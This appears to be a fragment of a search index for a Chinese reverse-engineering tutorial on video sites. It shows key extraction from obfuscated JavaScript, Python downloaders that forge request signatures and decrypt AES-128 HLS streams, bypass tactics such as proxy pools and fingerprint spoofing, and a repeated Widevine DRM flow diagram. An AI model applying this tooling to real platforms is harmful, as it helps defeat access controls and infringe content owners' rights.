","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#1-抓包分析"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 网络请求: GET /video/play?vid=abc123\u0026t=1702800000\u0026sign=e3b0c44298fc Host: video.example.com Referer: https://video.example.com/watch/abc123 响应: 2. JavaScript 分析 在 player.js 中找到签名生成逻辑: function generateSign(vid, timestamp) { const key = \"secret_key_2024\"; const str = `${vid}|${timestamp}|${key}`; return md5(str).substr(0, 12); } function getPlayUrl(vid) { const timestamp = Math.floor(Date.now() / 1000); const sign = generateSign(vid, timestamp); return fetch(`/video/play?vid=${vid}\u0026t=${timestamp}\u0026sign=${sign}`, { headers: { Referer: \"https://video.example.com/watch/\" + vid, }, }).then((r) =\u003e r.json()); } 3. 密钥提取 通过搜索 secret_key 关键词，在混淆代码中定位: // 混淆后 var _0x1a2b = [ \"s\", \"e\", \"c\", \"r\", \"e\", \"t\", \"_\", \"k\", \"e\", \"y\", \"_\", \"2\", \"0\", \"2\", \"4\", ]; var key = _0x1a2b.join(\"\"); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#2-javascript-分析"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 网络请求: GET /video/play?vid=abc123\u0026t=1702800000\u0026sign=e3b0c44298fc Host: video.example.com Referer: https://video.example.com/watch/abc123 响应: 2. JavaScript 分析 在 player.js 中找到签名生成逻辑: function generateSign(vid, timestamp) { const key = \"secret_key_2024\"; const str = `${vid}|${timestamp}|${key}`; return md5(str).substr(0, 12); } function getPlayUrl(vid) { const timestamp = Math.floor(Date.now() / 1000); const sign = generateSign(vid, timestamp); return fetch(`/video/play?vid=${vid}\u0026t=${timestamp}\u0026sign=${sign}`, { headers: { Referer: \"https://video.example.com/watch/\" + vid, }, }).then((r) =\u003e r.json()); } 3. 密钥提取 通过搜索 secret_key 关键词，在混淆代码中定位: // 混淆后 var _0x1a2b = [ \"s\", \"e\", \"c\", \"r\", \"e\", \"t\", \"_\", \"k\", \"e\", \"y\", \"_\", \"2\", \"0\", \"2\", \"4\", ]; var key = _0x1a2b.join(\"\"); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#3-密钥提取"},{"categories":null,"collections":null,"content":"Python 实现 import hashlib import time import requests class VideoDownloader: def __init__(self): self.base_url = \"https://video.example.com\" self.secret_key = \"secret_key_2024\" def generate_sign(self, vid, timestamp): \"\"\"生成视频签名\"\"\" str_to_sign = f\"{vid}|{timestamp}|{self.secret_key}\" return hashlib.md5(str_to_sign.encode()).hexdigest()[:12] def get_play_url(self, vid): \"\"\"获取播放地址\"\"\" timestamp = int(time.time()) sign = self.generate_sign(vid, timestamp) url = f\"{self.base_url}/video/play\" params = { 'vid': vid, 't': timestamp, 'sign': sign } headers = { 'Referer': f'{self.base_url}/watch/{vid}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } response = requests.get(url, params=params, headers=headers) data = response.json() if data['code'] == 0: return data['data']['url'] else: raise Exception(f\"Failed to get play url: {data}\") def download_video(self, vid, output_path): \"\"\"下载视频\"\"\" play_url = self.get_play_url(vid) print(f\"Play URL: {play_url}\") # 下载 M3U8 或直接视频 response = requests.get(play_url, stream=True) with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) # 使用示例 downloader = VideoDownloader() downloader.download_video('abc123', 'video.mp4') ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#python-实现"},{"categories":null,"collections":null,"content":"防护与对抗 防护方: 密钥定期轮换 使用设备指纹绑定签名 添加播放次数限制 IP 限速和频率检测 绕过方: 实时提取最新密钥（通过 Hook） 模拟真实播放器的设备指纹 使用代理池分散请求 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:4","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#防护与对抗"},{"categories":null,"collections":null,"content":"案例 2: M3U8/HLS 流解析与下载 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#案例-2-m3u8hls-流解析与下载"},{"categories":null,"collections":null,"content":"背景 主流视频平台使用 HLS (HTTP Live Streaming) 协议，视频被切分成多个 TS 片段，通过 M3U8 索引文件组织。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#背景-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. M3U8 文件结构 Master Playlist (多码率): #EXTM3U #EXT-X-STREAM-INF:BANDWIDTH=1280000,RESOLUTION=1280x720 https://cdn.example.com/video/720p.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=2560000,RESOLUTION=1920x1080 https://cdn.example.com/video/1080p.m3u8 Media Playlist (TS 片段列表): #EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:10 #EXT-X-KEY:METHOD=AES-128,URI=\"https://cdn.example.com/key/abc123\",IV=0x12345678901234567890123456789012 #EXTINF:10.0, segment0.ts #EXTINF:10.0, segment1.ts #EXTINF:10.0, segment2.ts #EXT-X-ENDLIST 2. AES-128 加密解析 TS 片段通常使用 AES-128-CBC 加密，需要获取解密密钥: // 在播放器代码中找到密钥获取逻辑 function getDecryptionKey(keyUri) { return fetch(keyUri, { headers: { \"X-Key-Token\": generateKeyToken(), }, }).then((r) =\u003e r.arrayBuffer()); } function generateKeyToken() { const timestamp = Date.now(); const nonce = Math.random().toString(36); return btoa(timestamp + \":\" + nonce); } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向步骤-1"},{"categories":null,"collections":null,"content":"逆向步骤 1. M3U8 文件结构 Master Playlist (多码率): #EXTM3U #EXT-X-STREAM-INF:BANDWIDTH=1280000,RESOLUTION=1280x720 https://cdn.example.com/video/720p.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=2560000,RESOLUTION=1920x1080 https://cdn.example.com/video/1080p.m3u8 Media Playlist (TS 片段列表): #EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:10 #EXT-X-KEY:METHOD=AES-128,URI=\"https://cdn.example.com/key/abc123\",IV=0x12345678901234567890123456789012 #EXTINF:10.0, segment0.ts #EXTINF:10.0, segment1.ts #EXTINF:10.0, segment2.ts #EXT-X-ENDLIST 2. AES-128 加密解析 TS 片段通常使用 AES-128-CBC 加密，需要获取解密密钥: // 在播放器代码中找到密钥获取逻辑 function getDecryptionKey(keyUri) { return fetch(keyUri, { headers: { \"X-Key-Token\": generateKeyToken(), }, }).then((r) =\u003e r.arrayBuffer()); } function generateKeyToken() { const timestamp = Date.now(); const nonce = Math.random().toString(36); return btoa(timestamp + \":\" + nonce); } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#1-m3u8-文件结构"},{"categories":null,"collections":null,"content":"逆向步骤 1. M3U8 文件结构 Master Playlist (多码率): #EXTM3U #EXT-X-STREAM-INF:BANDWIDTH=1280000,RESOLUTION=1280x720 https://cdn.example.com/video/720p.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=2560000,RESOLUTION=1920x1080 https://cdn.example.com/video/1080p.m3u8 Media Playlist (TS 片段列表): #EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:10 #EXT-X-KEY:METHOD=AES-128,URI=\"https://cdn.example.com/key/abc123\",IV=0x12345678901234567890123456789012 #EXTINF:10.0, segment0.ts #EXTINF:10.0, segment1.ts #EXTINF:10.0, segment2.ts #EXT-X-ENDLIST 2. AES-128 加密解析 TS 片段通常使用 AES-128-CBC 加密，需要获取解密密钥: // 在播放器代码中找到密钥获取逻辑 function getDecryptionKey(keyUri) { return fetch(keyUri, { headers: { \"X-Key-Token\": generateKeyToken(), }, }).then((r) =\u003e r.arrayBuffer()); } function generateKeyToken() { const timestamp = Date.now(); const nonce = Math.random().toString(36); return btoa(timestamp + \":\" + nonce); } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#2-aes-128-加密解析"},{"categories":null,"collections":null,"content":"Python 实现 import re import os import requests from Crypto.Cipher import AES from concurrent.futures import ThreadPoolExecutor from urllib.parse import urljoin class M3U8Downloader: def __init__(self, m3u8_url): self.m3u8_url = m3u8_url self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def parse_m3u8(self, content, base_url): \"\"\"解析 M3U8 文件\"\"\" lines = content.strip().split('\\n') segments = [] key_info = None for i, line in enumerate(lines): line = line.strip() # 解析加密密钥 if line.startswith('#EXT-X-KEY'): match = re.search(r'METHOD=([^,]+),URI=\"([^\"]+)\"(?:,IV=(.+))?', line) if match: method, uri, iv = match.groups() key_url = urljoin(base_url, uri) key_info = { 'method': method, 'uri': key_url, 'iv': iv } # 解析 TS 片段 elif line.startswith('#EXTINF'): if i + 1 \u003c len(lines): segment_url = urljoin(base_url, lines[i + 1].strip()) segments.append(segment_url) return segments, key_info def get_decryption_key(self, key_url): \"\"\"获取解密密钥\"\"\" # 添加必要的请求头 import time import random import base64 timestamp = int(time.time() * 1000) nonce = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=8)) token = base64.b64encode(f\"{timestamp}:{nonce}\".encode()).decode() headers = {'X-Key-Token': token} response = self.session.get(key_url, headers=headers) return response.content def decrypt_segment(self, encrypted_data, key, iv): \"\"\"解密 TS 片段\"\"\" if iv.startswith('0x'): iv_bytes = bytes.fromhex(iv[2:]) else: iv_bytes = iv.encode()[:16].ljust(16, b'\\0') cipher = AES.new(key, AES.MODE_CBC, iv_bytes) decrypted = cipher.decrypt(encrypted_data) # 移除 PKCS7 填充 padding_length = decrypted[-1] return decrypted[:-padding_length] def download_segment(self, url, index, key_info=None): \"\"\"下载并解密单个片段\"\"\" try: response = self.session.get(url, timeout=30) data = response.content # 如果有加密，进行解密 if key_info and key_info['method'] == 'AES-128': key = self.get_decryption_key(key_info['uri']) iv = key_info.get('iv', f'0x{index:032x}') data = self.decrypt_segment(data, key, iv) return index, data except Exception as e: print(f\"Failed to download segment {index}: {e}\") return index, None def download(self, output_path, max_workers=10): \"\"\"下载完整视频\"\"\" # 获取 M3U8 内容 response = self.session.get(self.m3u8_url) m3u8_content = response.text # 检查是否是 Master Playlist if '#EXT-X-STREAM-INF' in m3u8_content: # 选择最高质量 lines = m3u8_content.strip().split('\\n') for i, line in enumerate(lines): if line.startswith('#EXT-X-STREAM-INF'): if i + 1 \u003c len(lines): best_quality_url = urljoin(self.m3u8_url, lines[i + 1].strip()) response = self.session.get(best_quality_url) m3u8_content = response.text break # 解析 M3U8 base_url = self.m3u8_url.rsplit('/', 1)[0] + '/' segments, key_info = self.parse_m3u8(m3u8_content, base_url) print(f\"Found {len(segments)} segments\") if key_info: print(f\"Encryption: {key_info['method']}\") # 并发下载所有片段 with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = [ executor.submit(self.download_segment, url, i, key_info) for i, url in enumerate(segments) ] results = [future.result() for future in futures] # 按顺序合并片段 results.sort(key=lambda x: x[0]) with open(output_path, 'wb') as f: for index, data in results: if data: f.write(data) print(f\"Video saved to: {output_path}\") # 使用示例 downloader = M3U8Downloader('https://cdn.example.com/video/1080p.m3u8') downloader.download('output.mp4', max_workers=20) ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#python-实现-1"},{"categories":null,"collections":null,"content":"高级技巧 1. 处理动态 M3U8: 某些直播流的 M3U8 会实时更新，需要循环获取: def download_live_stream(self, output_path, duration=3600): \"\"\"下载直播流（指定时长）\"\"\" downloaded_segments = set() start_time = time.time() with open(output_path, 'wb') as f: while time.time() - start_time \u003c duration: response = self.session.get(self.m3u8_url) segments, key_info = self.parse_m3u8(response.text, self.m3u8_url) for i, url in enumerate(segments): if url not in downloaded_segments: _, data = self.download_segment(url, i, key_info) if data: f.write(data) downloaded_segments.add(url) time.sleep(5) # 等待新片段 2. 解析 MPEG-DASH (替代 HLS): from xml.etree import ElementTree as ET def parse_mpd(mpd_url): \"\"\"解析 MPEG-DASH MPD 文件\"\"\" response = requests.get(mpd_url) root = ET.fromstring(response.content) # 提取视频和音频流 video_urls = [] audio_urls = [] for adaptation_set in root.findall('.//{urn:mpeg:dash:schema:mpd:2011}AdaptationSet'): content_type = adaptation_set.get('contentType') for representation in adaptation_set.findall('.//{urn:mpeg:dash:schema:mpd:2011}Representation'): base_url = representation.find('.//{urn:mpeg:dash:schema:mpd:2011}BaseURL').text if content_type == 'video': video_urls.append(base_url) elif content_type == 'audio': audio_urls.append(base_url) return video_urls, audio_urls ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:3:4","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#高级技巧"},{"categories":null,"collections":null,"content":"案例 3: DRM 保护分析 (Widevine) ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#案例-3-drm-保护分析-widevine"},{"categories":null,"collections":null,"content":"背景 Netflix、Disney+ 等平台使用 Widevine DRM 保护视频内容。本案例分析 Widevine L3 级别的工作原理。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#背景-2"},{"categories":null,"collections":null,"content":"Widevine 工作流程 EME (Encrypted Media Extensions) + Widevine 完整流程 sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys()","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#widevine-工作流程"},{"categories":null,"collections":null,"content":"Widevine 工作流程 EME (Encrypted Media Extensions) + Widevine 完整流程 sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys()","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:4:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#eme-encrypted-media-extensions--widevine-完整流程"},{"categories":null,"collections":null,"content":"Widevine 工作流程 EME (Encrypted Media Extensions) + Widevine 完整流程 sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 设备合法性2. 用户权限3. 订阅状态4. 地区限制 Note over Player,CDN: 阶段 3: License 响应 License-\u003e\u003eLicense: 生成 Content Keys(KID + Key) Note over License: 使用设备公钥加密 Keys License--\u003e\u003ePlayer: License Response (Protobuf 二进制) Player-\u003e\u003eBrowser: session.update(response) Browser-\u003e\u003eCDM: 处理 License Response activate CDM Note over CDM: 1. 使用设备私钥解密2. 提取 Content Keys3. 存储到安全存储 CDM--\u003e\u003eBrowser: Keys 安装完成 deactivate CDM Note over Player,CDN: 阶段 4: 视频播放 Player-\u003e\u003eCDN: 请求加密视频片段 CDN--\u003e\u003ePlayer: 加密的视频数据 Player-\u003e\u003eBrowser: video.play() Browser-\u003e\u003eCDM: 请求解密视频数据 activate CDM Note over CDM: 使用 Content Key解密视频帧(AES-128-CTR/CBC) CDM--\u003e\u003eBrowser: 解密后的视频帧 deactivate CDM Browser-\u003e\u003eBrowser: 渲染视频帧到 Note over Player,CDN: 播放中... sequenceDiagram participant Player as 网页播放器(JavaScript) participant Browser as 浏览器(EME API) participant CDM as Widevine CDM(Content Decryption Module) participant License as License 服务器 participant CDN as CDN(加密视频) Note over Player,CDN: 阶段 1: 初始化播放 Player-\u003e\u003eCDN: 请求视频文件 (DASH/HLS) CDN--\u003e\u003ePlayer: 返回 Manifest (MPD/M3U8) Note over Player: 解析 Manifest发现加密信息 (PSSH) Player-\u003e\u003eBrowser: new MediaKeys() Browser-\u003e\u003eCDM: 创建 CDM 实例 CDM--\u003e\u003eBrowser: CDM 初始化完成 Browser--\u003e\u003ePlayer: MediaKeys 对象 Player-\u003e\u003eBrowser: video.setMediaKeys(mediaKeys) Note over Browser: 将 CDM 绑定到 video 元素 Note over Player,CDN: 阶段 2: License 请求 Player-\u003e\u003eBrowser: session.generateRequest(initDataType, initData) Note over Browser: initData 包含 PSSH(Protection System Specific Header) Browser-\u003e\u003eCDM: 生成 License Request activate CDM Note over CDM: 构建 License Request:- 设备 ID- 安全级别 (L1/L3)- Client Capabilities CDM--\u003e\u003eBrowser: License Request (Protobuf 二进制) deactivate CDM Browser--\u003e\u003ePlayer: message 事件 (License Request) Player-\u003e\u003eLicense: POST /licenseContent-Type: application/octet-stream[License Request 二进制数据] Note over License: 验证请求:1. 